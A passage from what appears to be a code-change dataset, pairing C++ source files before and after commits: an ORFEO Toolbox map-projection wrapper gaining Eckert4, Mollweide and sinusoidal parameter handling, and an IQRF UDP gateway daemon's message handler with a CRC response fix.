on ossim list;\n \/\/a better solution might be available...\n std::string projectionString(kwl.find(\"type\"));\n if (projectionString.find(\"ossimEquDistCylProjection\") != string::npos)\n {\n otbMsgDevMacro(<< \"WARNING: Not instanciating a ossimEquDistCylProjection: \" << projectionString);\n otbMsgDevMacro(<< \"Wkt was: \" << kwl);\n otbMsgDevMacro(<< \"From RefWkt: \" << m_ProjectionRefWkt);\n return false;\n }\n\n m_MapProjection = ossimMapProjectionFactory::instance()->createProjection(kwl);\n\n }\n else\n {\n otbMsgDevMacro(<< \"WARNING: Impossible to create the projection from Wkt: \" << m_ProjectionRefWkt);\n otbMsgDevMacro(<< \"Trying with string as a string (ossimUtmProjection or Utm would qualify\");\n \/\/ Trying directly with the m_ProjectionRefWkt (is\n \/\/ ossimUtmProjection for example)\n ossimString name(m_ProjectionRefWkt);\n m_MapProjection = ossimMapProjectionFactory::instance()->createProjection(name);\n if (m_MapProjection == NULL)\n {\n \/\/ Trying directly extending the m_ProjectionRefWkt (convert the\n \/\/ Utm to ossimUtmProjection for example)\n ossimString extendedName(\"ossim\");\n extendedName += m_ProjectionRefWkt;\n extendedName += \"Projection\";\n m_MapProjection = ossimMapProjectionFactory::instance()->createProjection(extendedName);\n }\n\n if (m_MapProjection == NULL) return false;\n\n }\n\n this->m_ReinstanciateProjection = false;\n this->ApplyParametersToProjection();\n return true;\n }\n return false;\n}\n\nvoid MapProjectionWrapper::InverseTransform(double x, double y, double z,\n double& lon, double& lat, double& h)\n{\n if (m_MapProjection == NULL)\n {\n otbMsgDevMacro(<< \"WARNING: Using identity\");\n lon = x;\n lat = y;\n h = z;\n return;\n }\n\n ossimDpt ossimDPoint(x, y);\n\n \/\/map projection\n ossimGpt ossimGPoint;\n ossimGPoint = this->GetMapProjection()->inverse(ossimDPoint);\n ossimGPoint.changeDatum(ossimDatumFactory::instance()->wgs84());\n\n lon = ossimGPoint.lon;\n lat = ossimGPoint.lat;\n h = z;\n}\n\nvoid MapProjectionWrapper::ForwardTransform(double lon, double lat, double h,\n double& x, double& y, double& z)\n{\n if (m_MapProjection == NULL)\n {\n otbMsgDevMacro(<< \"WARNING: Using identity\");\n x = lon;\n y = lat;\n z = h;\n return;\n }\n\n ossimGpt ossimGPoint(lat, lon, h);\n\n \/\/map projection\n ossimDpt ossimDPoint;\n ossimDPoint = this->GetMapProjection()->forward(ossimGPoint);\n\n x = ossimDPoint.x;\n y = ossimDPoint.y;\n z = h;\n}\n\nvoid MapProjectionWrapper::ApplyParametersToProjection()\n{\n \/\/ Start by identifying the projection, that will be necessary for\n \/\/ the casting.\n std::string projectionName = this->GetMapProjection()->getClassName();\n\n StoreType::const_iterator it;\n\n \/\/ Apply standard map projection parameters\n ossimMapProjection* projection = dynamic_cast(this->GetMapProjection());\n \/\/ Set up origin\n\n const ossimDatum* datum = ossimDatumFactory::instance()->wgs84(); \/\/default value\n it = m_ParameterStore.find(\"Datum\");\n if (it != m_ParameterStore.end())\n {\n datum = ossimDatumFactory::instance()->create((*it).second);\n projection->setDatum(datum);\n }\n\n StoreType::const_iterator itX = m_ParameterStore.find(\"OriginX\");\n StoreType::const_iterator itY = m_ParameterStore.find(\"OriginY\");\n StoreType::const_iterator itZ = m_ParameterStore.find(\"OriginZ\");\n\n if (itX != m_ParameterStore.end() && itY != m_ParameterStore.end())\n {\n double originX = atof((*itX).second.c_str());\n double originY = atof((*itY).second.c_str());\n double originZ = 0;\n if (itZ != m_ParameterStore.end())\n {\n originZ = atof((*itZ).second.c_str());\n }\n ossimGpt origin(originY, originX, originZ, datum);\n projection->setOrigin(origin);\n }\n\n \/\/ Apply parameters to LambertConformalConic\n if (projectionName.compare(\"ossimLambertConformalConicProjection\") == 0)\n {\n ossimLambertConformalConicProjection* projection = dynamic_cast(this->GetMapProjection());\n\n it = m_ParameterStore.find(\"FalseNorthing\");\n if (it != m_ParameterStore.end())\n {\n double value = atof((*it).second.c_str());\n projection->setFalseNorthing(value);\n }\n it = m_ParameterStore.find(\"FalseEasting\");\n if (it != m_ParameterStore.end())\n {\n double value = atof((*it).second.c_str());\n projection->setFalseEasting(value);\n }\n it = m_ParameterStore.find(\"StandardParallel1\");\n if (it != m_ParameterStore.end())\n {\n double value = atof((*it).second.c_str());\n projection->setStandardParallel1(value);\n }\n it = m_ParameterStore.find(\"StandardParallel2\");\n if (it != m_ParameterStore.end())\n {\n double value = atof((*it).second.c_str());\n projection->setStandardParallel2(value);\n }\n }\n\n \/\/ Apply parameters to trasnmercator\n if (projectionName.compare(\"ossimTransMercatorProjection\") == 0)\n {\n ossimTransMercatorProjection* projection = dynamic_cast(this->GetMapProjection());\n it = m_ParameterStore.find(\"ScaleFactor\");\n if (it != m_ParameterStore.end())\n {\n double scale = atof((*it).second.c_str());\n projection->setScaleFactor(scale);\n }\n }\n\n \/\/ Apply parameters to Utm\n if (projectionName.compare(\"ossimUtmProjection\") == 0)\n {\n ossimUtmProjection* projection = dynamic_cast(this->GetMapProjection());\n it = m_ParameterStore.find(\"Zone\");\n if (it != m_ParameterStore.end())\n {\n int zone = atoi((*it).second.c_str());\n projection->setZone(zone);\n }\n it = m_ParameterStore.find(\"Hemisphere\");\n if (it != m_ParameterStore.end())\n {\n projection->setHemisphere((*it).second[0]);\n }\n }\n}\n\nvoid MapProjectionWrapper::PrintMap() const\n{\n std::cout << m_MapProjection->print(std::cout);\n std::cout << \"Parameter store:\\n\";\n for (StoreType::const_iterator it = m_ParameterStore.begin();\n it != m_ParameterStore.end();\n ++it)\n {\n std::cout << \" \" << (*it).first << \": \" << (*it).second << \"\\n\";\n }\n}\n\n\nnamespace Utils\n{\n\nint GetZoneFromGeoPoint(double lon, double lat)\n{\n \/\/use ossim to handle the special case of UTM\n ossimGpt point(lat, lon);\n ossimUtmProjection projection;\n int zone = projection.computeZone(point);\n return zone;\n}\n\n}\n\n} \/\/ namespace otb\nBUG: fix parameter setting\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\n#include \"otbMapProjectionWrapper.h\"\n\n#include \n\n#include \"otbMacro.h\"\n#include \"otbUtils.h\"\n\n#include \"projection\/ossimMapProjection.h\"\n#include \"projection\/ossimMapProjectionFactory.h\"\n#include \"projection\/ossimMapProjection.h\"\n#include \"base\/ossimGpt.h\"\n#include \"base\/ossimDpt.h\"\n#include \"projection\/ossimProjection.h\"\n#include \"base\/ossimEllipsoid.h\"\n#include \"base\/ossimEllipsoidFactory.h\"\n#include \"base\/ossimString.h\"\n#include \"gdal\/ossimOgcWktTranslator.h\"\n\n#include \"projection\/ossimUtmProjection.h\"\n#include \"projection\/ossimLambertConformalConicProjection.h\"\n#include \"projection\/ossimTransMercatorProjection.h\"\n#include \"projection\/ossimEckert4Projection.h\"\n#include \"projection\/ossimMollweidProjection.h\"\n#include \"projection\/ossimSinusoidalProjection.h\"\n\nnamespace otb\n{\n\nMapProjectionWrapper::MapProjectionWrapper():\n m_MapProjection(NULL), m_ProjectionRefWkt(\"\"), m_ReinstanciateProjection(true)\n{\n}\n\nMapProjectionWrapper::~MapProjectionWrapper()\n{\n if (m_MapProjection != NULL)\n {\n delete m_MapProjection;\n }\n}\n\nMapProjectionWrapper::InternalMapProjectionPointer MapProjectionWrapper::GetMapProjection()\n{\n itkDebugMacro(\"returning MapProjection address \" << this->m_MapProjection);\n if ((m_ReinstanciateProjection) || (m_MapProjection == NULL))\n {\n this->InstanciateProjection();\n }\n\n return this->m_MapProjection;\n}\n\nMapProjectionWrapper::InternalMapProjectionConstPointer MapProjectionWrapper::GetMapProjection() const\n{\n itkDebugMacro(\"returning MapProjection address \" << this->m_MapProjection);\n if ((m_ReinstanciateProjection) || (m_MapProjection == NULL))\n {\n itkExceptionMacro(<< \"m_MapProjection not up-to-date, call InstanciateProjection() first\");\n }\n\n return this->m_MapProjection;\n}\n\nstd::string MapProjectionWrapper::GetWkt() const\n{\n ossimKeywordlist kwl;\n this->GetMapProjection();\n if (m_MapProjection == NULL)\n {\n return \"\";\n }\n m_MapProjection->saveState(kwl);\n ossimOgcWktTranslator wktTranslator;\n std::string wkt;\n wkt = wktTranslator.fromOssimKwl(kwl);\n return wkt;\n}\n\nvoid MapProjectionWrapper::SetWkt(std::string projectionRefWkt)\n{\n this->m_ProjectionRefWkt = projectionRefWkt;\n m_ReinstanciateProjection = true;\n this->InstanciateProjection(); \/\/Should not be needed, but it is...\n this->Modified();\n}\n\nvoid MapProjectionWrapper::SetParameter(std::string key, std::string value)\n{\n m_ParameterStore[key] = value;\n m_ReinstanciateProjection = true;\n this->InstanciateProjection(); \/\/Should not be needed, but it is...\n this->Modified();\n}\n\nstd::string MapProjectionWrapper::GetParameter(std::string key) const\n{\n \/\/ Please refer to the note in the header filer\n \/\/ we do NOT want to read from m_ParameterStore here!\n\n std::string projectionName = this->GetMapProjection()->getClassName();\n\n \/\/ Start by matching generic parameters\n const ossimMapProjection* projection = dynamic_cast(this->GetMapProjection());\n if (key.compare(\"Origin\") == 0)\n {\n return Utils::ConvertToString(projection->origin());\n }\n if (key.compare(\"FalseNorthing\") == 0)\n {\n return Utils::ConvertToString(projection->getFalseNorthing());\n }\n if (key.compare(\"FalseEasting\") == 0)\n {\n return Utils::ConvertToString(projection->getFalseEasting());\n }\n if (key.compare(\"StandardParallel1\") == 0)\n {\n return Utils::ConvertToString(projection->getStandardParallel1());\n }\n if (key.compare(\"StandardParallel2\") == 0)\n {\n return Utils::ConvertToString(projection->getStandardParallel2());\n }\n if (key.compare(\"A\") == 0)\n {\n return Utils::ConvertToString(projection->getA());\n }\n if (key.compare(\"B\") == 0)\n {\n return Utils::ConvertToString(projection->getB());\n }\n if (key.compare(\"F\") == 0)\n {\n return Utils::ConvertToString(projection->getF());\n }\n if (key.compare(\"MetersPerPixel\") == 0)\n {\n return Utils::ConvertToString(projection->getMetersPerPixel());\n }\n if (key.compare(\"DecimalDegreesPerPixel\") == 0)\n {\n return Utils::ConvertToString(projection->getDecimalDegreesPerPixel());\n }\n\n \/\/ Apply parameters to transmercator\n if (projectionName.compare(\"ossimTransMercatorProjection\") == 0)\n {\n const ossimTransMercatorProjection* projection = dynamic_cast(this->GetMapProjection());\n if (key.compare(\"ScaleFactor\") == 0)\n {\n return Utils::ConvertToString(projection->getScaleFactor());\n }\n }\n\n \/\/ Apply parameters to Utm\n if (projectionName.compare(\"ossimUtmProjection\") == 0)\n {\n const ossimUtmProjection* projection = dynamic_cast(this->GetMapProjection());\n if (key.compare(\"Zone\") == 0)\n {\n return Utils::ConvertToString(projection->getZone());\n }\n if (key.compare(\"Hemisphere\") == 0)\n {\n return Utils::ConvertToString(projection->getHemisphere());\n }\n }\n\n return \"\";\n}\n\nbool MapProjectionWrapper::InstanciateProjection()\n{\n if ((this->m_ReinstanciateProjection) || (m_MapProjection == NULL))\n {\n ossimKeywordlist kwl;\n ossimOgcWktTranslator wktTranslator;\n\n bool projectionInformationAvailable = wktTranslator.toOssimKwl(m_ProjectionRefWkt, kwl);\n\n if (projectionInformationAvailable)\n {\n \/\/we don't want to have a ossimEquDistCylProjection here:\n \/\/see discussion in May 2009 on ossim list;\n \/\/a better solution might be available...\n std::string projectionString(kwl.find(\"type\"));\n if (projectionString.find(\"ossimEquDistCylProjection\") != string::npos)\n {\n otbMsgDevMacro(<< \"WARNING: Not instanciating a ossimEquDistCylProjection: \" << projectionString);\n otbMsgDevMacro(<< \"Wkt was: \" << kwl);\n otbMsgDevMacro(<< \"From RefWkt: \" << m_ProjectionRefWkt);\n return false;\n }\n\n m_MapProjection = ossimMapProjectionFactory::instance()->createProjection(kwl);\n\n }\n else\n {\n otbMsgDevMacro(<< \"WARNING: Impossible to create the projection from Wkt: \" << m_ProjectionRefWkt);\n otbMsgDevMacro(<< \"Trying with string as a string (ossimUtmProjection or Utm would qualify\");\n \/\/ Trying directly with the m_ProjectionRefWkt (is\n \/\/ ossimUtmProjection for example)\n ossimString name(m_ProjectionRefWkt);\n m_MapProjection = ossimMapProjectionFactory::instance()->createProjection(name);\n if (m_MapProjection == NULL)\n {\n \/\/ Trying directly extending the m_ProjectionRefWkt (convert the\n \/\/ Utm to ossimUtmProjection for example)\n ossimString extendedName(\"ossim\");\n extendedName += m_ProjectionRefWkt;\n extendedName += \"Projection\";\n m_MapProjection = ossimMapProjectionFactory::instance()->createProjection(extendedName);\n }\n\n if (m_MapProjection == NULL) return false;\n\n }\n\n this->m_ReinstanciateProjection = false;\n this->ApplyParametersToProjection();\n return true;\n }\n return false;\n}\n\nvoid MapProjectionWrapper::InverseTransform(double x, double y, double z,\n double& lon, double& lat, double& h)\n{\n if (m_MapProjection == NULL)\n {\n otbMsgDevMacro(<< \"WARNING: Using identity\");\n lon = x;\n lat = y;\n h = z;\n return;\n }\n\n ossimDpt ossimDPoint(x, y);\n\n \/\/map projection\n ossimGpt ossimGPoint;\n ossimGPoint = this->GetMapProjection()->inverse(ossimDPoint);\n ossimGPoint.changeDatum(ossimDatumFactory::instance()->wgs84());\n\n lon = ossimGPoint.lon;\n lat = ossimGPoint.lat;\n h = z;\n}\n\nvoid MapProjectionWrapper::ForwardTransform(double lon, double lat, double h,\n double& x, double& y, double& z)\n{\n if (m_MapProjection == NULL)\n {\n otbMsgDevMacro(<< \"WARNING: Using identity\");\n x = lon;\n y = lat;\n z = h;\n return;\n }\n\n ossimGpt ossimGPoint(lat, lon, h);\n\n \/\/map projection\n ossimDpt ossimDPoint;\n ossimDPoint = this->GetMapProjection()->forward(ossimGPoint);\n\n x = ossimDPoint.x;\n y = ossimDPoint.y;\n z = h;\n}\n\nvoid MapProjectionWrapper::ApplyParametersToProjection()\n{\n \/\/ Start by identifying the projection, that will be necessary for\n \/\/ the casting.\n std::string projectionName = this->GetMapProjection()->getClassName();\n\n StoreType::const_iterator it;\n\n \/\/ Apply standard map projection parameters\n ossimMapProjection* projection = dynamic_cast(this->GetMapProjection());\n \/\/ Set up origin\n\n const ossimDatum* datum = ossimDatumFactory::instance()->wgs84(); \/\/default value\n it = m_ParameterStore.find(\"Datum\");\n if (it != m_ParameterStore.end())\n {\n datum = ossimDatumFactory::instance()->create((*it).second);\n projection->setDatum(datum);\n }\n\n StoreType::const_iterator itX = m_ParameterStore.find(\"OriginX\");\n StoreType::const_iterator itY = m_ParameterStore.find(\"OriginY\");\n StoreType::const_iterator itZ = m_ParameterStore.find(\"OriginZ\");\n\n if (itX != m_ParameterStore.end() && itY != m_ParameterStore.end())\n {\n double originX = atof((*itX).second.c_str());\n double originY = atof((*itY).second.c_str());\n double originZ = 0;\n if (itZ != m_ParameterStore.end())\n {\n originZ = atof((*itZ).second.c_str());\n }\n ossimGpt origin(originY, originX, originZ, datum);\n projection->setOrigin(origin);\n }\n\n \/\/ Apply parameters to LambertConformalConic\n if (projectionName.compare(\"ossimLambertConformalConicProjection\") == 0)\n {\n ossimLambertConformalConicProjection* projection = dynamic_cast(this->GetMapProjection());\n\n it = m_ParameterStore.find(\"FalseNorthing\");\n if (it != m_ParameterStore.end())\n {\n double value = atof((*it).second.c_str());\n projection->setFalseNorthing(value);\n }\n it = m_ParameterStore.find(\"FalseEasting\");\n if (it != m_ParameterStore.end())\n {\n double value = atof((*it).second.c_str());\n projection->setFalseEasting(value);\n }\n it = m_ParameterStore.find(\"StandardParallel1\");\n if (it != m_ParameterStore.end())\n {\n double value = atof((*it).second.c_str());\n projection->setStandardParallel1(value);\n }\n it = m_ParameterStore.find(\"StandardParallel2\");\n if (it != m_ParameterStore.end())\n {\n double value = atof((*it).second.c_str());\n projection->setStandardParallel2(value);\n }\n }\n\n \/\/ Apply parameters to Eckert4\n if (projectionName.compare(\"ossimEckert4Projection\") == 0)\n {\n ossimEckert4Projection* projection = dynamic_cast(this->GetMapProjection());\n\n it = m_ParameterStore.find(\"FalseNorthing\");\n if (it != m_ParameterStore.end())\n {\n double value = atof((*it).second.c_str());\n projection->setFalseNorthing(value);\n }\n it = m_ParameterStore.find(\"FalseEasting\");\n if (it != m_ParameterStore.end())\n {\n double value = atof((*it).second.c_str());\n projection->setFalseEasting(value);\n }\n }\n\n \/\/ Apply parameters to Mollweid\n if (projectionName.compare(\"ossimMollweidProjection\") == 0)\n {\n ossimMollweidProjection* projection = dynamic_cast(this->GetMapProjection());\n\n it = m_ParameterStore.find(\"FalseNorthing\");\n if (it != m_ParameterStore.end())\n {\n double value = atof((*it).second.c_str());\n projection->setFalseNorthing(value);\n }\n it = m_ParameterStore.find(\"FalseEasting\");\n if (it != m_ParameterStore.end())\n {\n double value = atof((*it).second.c_str());\n projection->setFalseEasting(value);\n }\n }\n\n \/\/ Apply parameters to Sinusoidal\n if (projectionName.compare(\"ossimSinusoidalProjection\") == 0)\n {\n ossimSinusoidalProjection* projection = dynamic_cast(this->GetMapProjection());\n\n it = m_ParameterStore.find(\"FalseNorthing\");\n if (it != m_ParameterStore.end())\n {\n double value = atof((*it).second.c_str());\n projection->setFalseNorthing(value);\n }\n it = m_ParameterStore.find(\"FalseEasting\");\n if (it != m_ParameterStore.end())\n {\n double value = atof((*it).second.c_str());\n projection->setFalseEasting(value);\n }\n }\n\n \/\/ Apply parameters to trasnmercator\n if (projectionName.compare(\"ossimTransMercatorProjection\") == 0)\n {\n ossimTransMercatorProjection* projection = dynamic_cast(this->GetMapProjection());\n it = m_ParameterStore.find(\"ScaleFactor\");\n if (it != m_ParameterStore.end())\n {\n double scale = atof((*it).second.c_str());\n projection->setScaleFactor(scale);\n }\n }\n\n \/\/ Apply parameters to Utm\n if (projectionName.compare(\"ossimUtmProjection\") == 0)\n {\n ossimUtmProjection* projection = dynamic_cast(this->GetMapProjection());\n it = m_ParameterStore.find(\"Zone\");\n if (it != m_ParameterStore.end())\n {\n int zone = atoi((*it).second.c_str());\n projection->setZone(zone);\n }\n it = m_ParameterStore.find(\"Hemisphere\");\n if (it != m_ParameterStore.end())\n {\n projection->setHemisphere((*it).second[0]);\n }\n }\n}\n\nvoid MapProjectionWrapper::PrintMap() const\n{\n std::cout << m_MapProjection->print(std::cout);\n std::cout << \"Parameter store:\\n\";\n for (StoreType::const_iterator it = m_ParameterStore.begin();\n it != m_ParameterStore.end();\n ++it)\n {\n std::cout << \" \" << (*it).first << \": \" << (*it).second << \"\\n\";\n }\n}\n\n\nnamespace Utils\n{\n\nint GetZoneFromGeoPoint(double lon, double lat)\n{\n \/\/use ossim to handle the special case of UTM\n ossimGpt point(lat, lon);\n ossimUtmProjection projection;\n int zone = projection.computeZone(point);\n return zone;\n}\n\n}\n\n} \/\/ namespace otb\n<|endoftext|>"} {"text":"#include \"MessageHandler.h\"\n#include \"IqrfCdcChannel.h\"\n#include \"IqrfSpiChannel.h\"\n#include \"UdpChannel.h\"\n#include \"UdpMessage.h\"\n#include \"helpers.h\"\n#include \"MessageQueue.h\"\n#include \"IqrfLogging.h\"\n#include \"PlatformDep.h\"\n#include \n\nenum IqrfWriteResults {\n wr_OK = 0x50,\n wr_Error_Len = 0x60, \/\/(number of data = 0 or more than TR buffer COM length)\n wr_Error_SPI = 0x61, \/\/(SPI bus busy)\n wr_Error_IQRF = 0x62 \/\/(IQRF - CRCM Error)\n};\n\nint MessageHandler::handleMessageFromUdp(const ustring& udpMessage)\n{\n TRC_DBG(\"Received from UDP: \" << std::endl << FORM_HEX(udpMessage.data(), udpMessage.size()));\n\n size_t msgSize = udpMessage.size();\n std::basic_string message;\n\n try {\n decodeMessageUdp(udpMessage, message);\n }\n catch (UdpChannelException& e) {\n TRC_DBG(\"Wrong message: \" << e.what());\n return -1;\n }\n\n switch (udpMessage[cmd])\n {\n case IQRF_UDP_GET_GW_INFO: \/\/ --- Returns GW identification ---\n {\n std::basic_string udpResponse(udpMessage);\n udpResponse[cmd] = (unsigned char)IQRF_UDP_GET_GW_INFO | 0x80;\n encodeMessageUdp(getGwIdent(), udpResponse);\n m_toUdpMessageQueue->pushToQueue(udpResponse);\n }\n return 0;\n\n case IQRF_UDP_WRITE_IQRF: \/\/ --- Writes data to the TR module ---\n {\n m_toIqrfMessageQueue->pushToQueue(message);\n\n \/\/send response\n std::basic_string udpResponse(udpMessage.substr(0, IQRF_UDP_HEADER_SIZE));\n std::basic_string message;\n udpResponse[cmd] = (unsigned char)IQRF_UDP_WRITE_IQRF | 0x80;\n encodeMessageUdp(message, udpResponse);\n \/\/TODO it is required to send back via subcmd write result - implement sync write with appropriate ret code\n udpResponse[subcmd] = (unsigned char)IQRF_UDP_ACK;\n m_toUdpMessageQueue->pushToQueue(udpResponse);\n }\n return 0;\n\n default:\n break;\n }\n return -1;\n}\n\nint MessageHandler::handleMessageFromIqrf(const ustring& iqrfMessage)\n{\n TRC_DBG(\"Received from to IQRF: \" << std::endl << FORM_HEX(iqrfMessage.data(), iqrfMessage.size()));\n \n std::basic_string udpMessage;\n std::basic_string message(iqrfMessage);\n encodeMessageUdp(message, udpMessage);\n udpMessage[cmd] = (unsigned char)IQRF_UDP_IQRF_SPI_DATA;\n m_toUdpMessageQueue->pushToQueue(udpMessage);\n \n \/\/std::basic_string udpMessage;\n \/\/encodeMessageUdp(iqrfMessage, udpMessage);\n \/\/m_toUdpMessageQueue->pushToQueue(udpMessage);\n return 0;\n}\n\nvoid MessageHandler::encodeMessageUdp(const ustring& message, ustring& udpMessage)\n{\n unsigned short dlen = (unsigned short)message.size();\n udpMessage.resize(IQRF_UDP_HEADER_SIZE + IQRF_UDP_CRC_SIZE, '\\0');\n udpMessage[gwAddr] = IQRF_UDP_GW_ADR;\n udpMessage[dlen_H] = (unsigned char)((dlen >> 8) & 0xFF);\n udpMessage[dlen_L] = (unsigned char)(dlen & 0xFF);\n\n udpMessage.insert(IQRF_UDP_HEADER_SIZE, message);\n\n uint16_t crc = GetCRC_CCITT((unsigned char*)udpMessage.data(), dlen + IQRF_UDP_HEADER_SIZE);\n udpMessage[dlen + IQRF_UDP_HEADER_SIZE] = (unsigned char)((crc >> 8) & 0xFF);\n udpMessage[dlen + IQRF_UDP_HEADER_SIZE + 1] = (unsigned char)(crc & 0xFF);\n}\n\nvoid MessageHandler::decodeMessageUdp(const ustring& udpMessage, ustring& message)\n{\n unsigned short dlen = 0;\n\n \/\/ Min. packet length check\n if (udpMessage.size() < IQRF_UDP_HEADER_SIZE + IQRF_UDP_CRC_SIZE)\n THROW_EX(UdpChannelException, \"Message is too short: \" << FORM_HEX(udpMessage.data(), udpMessage.size()));\n\n \/\/ GW_ADR check\n if (udpMessage[gwAddr] != IQRF_UDP_GW_ADR)\n THROW_EX(UdpChannelException, \"Message is has wrong GW_ADDR: \" << PAR_HEX(udpMessage[gwAddr]));\n\n \/\/iqrf data length\n dlen = (udpMessage[dlen_H] << 8) + udpMessage[dlen_L];\n\n \/\/ Max. packet length check\n if ((dlen + IQRF_UDP_HEADER_SIZE + IQRF_UDP_CRC_SIZE) > IQRF_UDP_BUFFER_SIZE)\n THROW_EX(UdpChannelException, \"Message is too long: \" << PAR(dlen));\n\n \/\/ CRC check\n unsigned short crc = (udpMessage[IQRF_UDP_HEADER_SIZE + dlen] << 8) + udpMessage[IQRF_UDP_HEADER_SIZE + dlen + 1];\n if (crc != GetCRC_CCITT((unsigned char*)udpMessage.data(), dlen + IQRF_UDP_HEADER_SIZE))\n THROW_EX(UdpChannelException, \"Message has wrong CRC\");\n\n message = udpMessage.substr(IQRF_UDP_HEADER_SIZE, dlen);\n}\n\nMessageHandler::MessageHandler(const std::string& iqrf_port_name, const std::string& remote_ip_port, const std::string& local_ip_port)\n :m_iqrfChannel(nullptr)\n , m_udpChannel(nullptr)\n , m_toUdpMessageQueue(nullptr)\n , m_toIqrfMessageQueue(nullptr)\n , m_iqrfPortName(iqrf_port_name)\n{\n m_remotePort = strtoul(remote_ip_port.c_str(), nullptr, 0);\n if (0 == m_remotePort || ULONG_MAX == m_remotePort)\n m_remotePort = 55000;\n m_localPort = strtoul(local_ip_port.c_str(), nullptr, 0);\n if (0 == m_localPort || ULONG_MAX == m_localPort)\n m_localPort = 55300;\n}\n\nMessageHandler::~MessageHandler()\n{\n}\n\nstd::basic_string MessageHandler::getGwIdent()\n{\n \/\/1. - GW type e.g.: �GW - ETH - 02A�\n \/\/2. - FW version e.g. : �2.50�\n \/\/3. - MAC address e.g. : �00 11 22 33 44 55�\n \/\/4. - TCP \/ IP Stack version e.g. : �5.42�\n \/\/5. - IP address of GW e.g. : �192.168.2.100�\n \/\/6. - Net BIOS Name e.g. : �iqrf_xxxx � 15 characters\n \/\/7. - IQRF module OS version e.g. : �3.06D�\n \/\/8. - Public IP address e.g. : �213.214.215.120�\n \/\/std::basic_ostringstream os;\n std::basic_ostringstream ostring;\n ostring <<\n \"\\x0D\\x0A\" << \"udp-daemon-01\" << \"\\x0D\\x0A\" <<\n \"2.50\" << \"\\x0D\\x0A\" <<\n \"00 11 22 33 44 55\" << \"\\x0D\\x0A\" <<\n \"5.42\" << \"\\x0D\\x0A\" <<\n \"192.168.1.11\" << \"\\x0D\\x0A\" <<\n \"iqrf_xxxx\" << \"\\x0D\\x0A\" <<\n \"3.06D\" << \"\\x0D\\x0A\" <<\n \"192.168.1.11\" << \"\\x0D\\x0A\";\n\n ustring res((unsigned char*)ostring.str().data(), ostring.str().size());\n \/\/TRC_DBG(\"retval:\" << PAR(res.size()) << std::endl << FORM_HEX(res.data(),res.size()));\n return res;\n}\n\nvoid MessageHandler::watchDog()\n{\n TRC_ENTER(\"\");\n m_running = true;\n try {\n start();\n while (m_running)\n {\n \/\/TODO\n \/\/watch worker threads\n std::this_thread::sleep_for(std::chrono::milliseconds(3000));\n }\n }\n catch (std::exception& e) {\n CATCH_EX(\"error\", std::exception, e);\n }\n\n stop();\n TRC_LEAVE(\"\");\n}\n\nvoid MessageHandler::start()\n{\n TRC_ENTER(\"\");\n size_t found = m_iqrfPortName.find(\"spi\");\n if (found != std::string::npos)\n m_iqrfChannel = ant_new IqrfSpiChannel(m_iqrfPortName);\n else\n m_iqrfChannel = ant_new IqrfCdcChannel(m_iqrfPortName);\n\n m_udpChannel = ant_new UdpChannel((unsigned short)m_remotePort, (unsigned short)m_localPort, IQRF_UDP_BUFFER_SIZE);\n\n \/\/Messages from IQRF are sent via MessageQueue to UDP channel\n m_toUdpMessageQueue = ant_new MessageQueue(m_udpChannel);\n\n \/\/Messages from UDP are sent via MessageQueue to IQRF channel\n m_toIqrfMessageQueue = ant_new MessageQueue(m_iqrfChannel);\n\n \/\/Received messages from IQRF channel are pushed to UDP MessageQueue\n m_iqrfChannel->registerReceiveFromHandler([&](const std::basic_string& msg) -> int {\n return handleMessageFromIqrf(msg); });\n\n \/\/Received messages from UDP channel are pushed to IQRF MessageQueue\n m_udpChannel->registerReceiveFromHandler([&](const std::basic_string& msg) -> int {\n return handleMessageFromUdp(msg); });\n\n std::cout << \"udp-daemon started\" << std::endl;\n TRC_LEAVE(\"\");\n}\n\nvoid MessageHandler::stop()\n{\n TRC_ENTER(\"\");\n std::cout << \"udp-daemon stops\" << std::endl;\n delete m_iqrfChannel;\n delete m_udpChannel;\n delete m_toUdpMessageQueue;\n delete m_toIqrfMessageQueue;\n TRC_LEAVE(\"\");\n}\n\nvoid MessageHandler::exit()\n{\n TRC_WAR(\"exiting ...\");\n std::cout << \"udp-daemon exits\" << std::endl;\n m_running = false;\n}\nFixed CRC bug in responses#include \"MessageHandler.h\"\n#include \"IqrfCdcChannel.h\"\n#include \"IqrfSpiChannel.h\"\n#include \"UdpChannel.h\"\n#include \"UdpMessage.h\"\n#include \"helpers.h\"\n#include \"MessageQueue.h\"\n#include \"IqrfLogging.h\"\n#include \"PlatformDep.h\"\n#include \n\nenum IqrfWriteResults {\n wr_OK = 0x50,\n wr_Error_Len = 0x60, \/\/(number of data = 0 or more than TR buffer COM length)\n wr_Error_SPI = 0x61, \/\/(SPI bus busy)\n wr_Error_IQRF = 0x62 \/\/(IQRF - CRCM Error)\n};\n\nint MessageHandler::handleMessageFromUdp(const ustring& udpMessage)\n{\n TRC_DBG(\"Received from UDP: \" << std::endl << FORM_HEX(udpMessage.data(), udpMessage.size()));\n\n size_t msgSize = udpMessage.size();\n std::basic_string message;\n\n try {\n decodeMessageUdp(udpMessage, message);\n }\n catch (UdpChannelException& e) {\n TRC_DBG(\"Wrong message: \" << e.what());\n return -1;\n }\n\n switch (udpMessage[cmd])\n {\n case IQRF_UDP_GET_GW_INFO: \/\/ --- Returns GW identification ---\n {\n std::basic_string udpResponse(udpMessage);\n udpResponse[cmd] = (unsigned char)IQRF_UDP_GET_GW_INFO | 0x80;\n encodeMessageUdp(getGwIdent(), udpResponse);\n m_toUdpMessageQueue->pushToQueue(udpResponse);\n }\n return 0;\n\n case IQRF_UDP_WRITE_IQRF: \/\/ --- Writes data to the TR module ---\n {\n m_toIqrfMessageQueue->pushToQueue(message);\n\n \/\/send response\n std::basic_string udpResponse(udpMessage.substr(0, IQRF_UDP_HEADER_SIZE));\n std::basic_string message;\n udpResponse[cmd] = (unsigned char)IQRF_UDP_WRITE_IQRF | 0x80;\n udpResponse[subcmd] = (unsigned char)IQRF_UDP_ACK;\n encodeMessageUdp(message, udpResponse);\n \/\/TODO it is required to send back via subcmd write result - implement sync write with appropriate ret code\n m_toUdpMessageQueue->pushToQueue(udpResponse);\n }\n return 0;\n\n default:\n break;\n }\n return -1;\n}\n\nint MessageHandler::handleMessageFromIqrf(const ustring& iqrfMessage)\n{\n TRC_DBG(\"Received from to IQRF: \" << std::endl << 